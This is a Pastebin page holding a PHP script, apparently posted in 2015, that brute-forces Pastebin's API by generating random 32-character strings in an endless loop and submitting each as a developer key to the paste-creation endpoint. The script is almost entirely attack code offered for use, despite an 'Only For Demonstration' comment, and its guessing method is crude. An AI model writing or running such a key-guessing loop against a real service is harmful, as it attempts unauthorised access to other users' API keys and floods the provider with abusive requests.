Advertisement
H4T3D

Pastebin API BruteForcing

Sep 3rd, 2015
454
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.63 KB | None | 0 0
  1. <?php
  2. ###################################################
  3. #Pastebin API BruteForcing
  4. #PLZ Correct The Error PASTEBIN
  5. #Coded By H4T3D
  6. #Only For Demonstration
  7. ####################################################
  8.  
  9.  
  10. ob_start();
  11. @set_time_limit(0);
  12. error_reporting(0);
  13.  
  14.  
  15. function go($api){
  16.  
  17. $api_dev_key            = $api; // your api_developer_key
  18. $api_paste_code         = 'just some random text you :)'; // your paste text
  19. $api_paste_private      = '1'; // 0=public 1=unlisted 2=private
  20. $api_paste_name         = 'justmyfilename.php'; // name or title of your paste
  21. $api_paste_expire_date      = '10M';
  22. $api_paste_format       = 'php';
  23. $api_user_key           = ''; // if an invalid api_user_key or no key is used, the paste will be create as a guest
  24. $api_paste_name         = urlencode($api_paste_name);
  25. $api_paste_code         = urlencode($api_paste_code);
  26.  
  27.  
  28. $url                = 'http://pastebin.com/api/api_post.php';
  29. $ch                 = curl_init($url);
  30.  
  31. curl_setopt($ch, CURLOPT_POST, true);
  32. curl_setopt($ch, CURLOPT_POSTFIELDS, 'api_option=paste&api_user_key='.$api_user_key.'&api_paste_private='.$api_paste_private.'&api_paste_name='.$api_paste_name.'&api_paste_expire_date='.$api_paste_expire_date.'&api_paste_format='.$api_paste_format.'&api_dev_key='.$api_dev_key.'&api_paste_code='.$api_paste_code.'');
  33. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  34. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  35. curl_setopt($ch, CURLOPT_NOBODY, 0);
  36.  
  37. $response           = curl_exec($ch);
  38. echo $response."<br></br><hr></hr>";
  39.  
  40.  
  41.  
  42. }
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49. for(;;)
  50. {
  51.  
  52.  
  53.  
  54. $api=substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyz"), 0, 32);
  55.  
  56.  
  57. echo "Random API => ".$api;
  58.  
  59. echo go($api);
  60.  
  61. flush();@ob_flush();
  62.  
  63. }
  64.  
  65. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement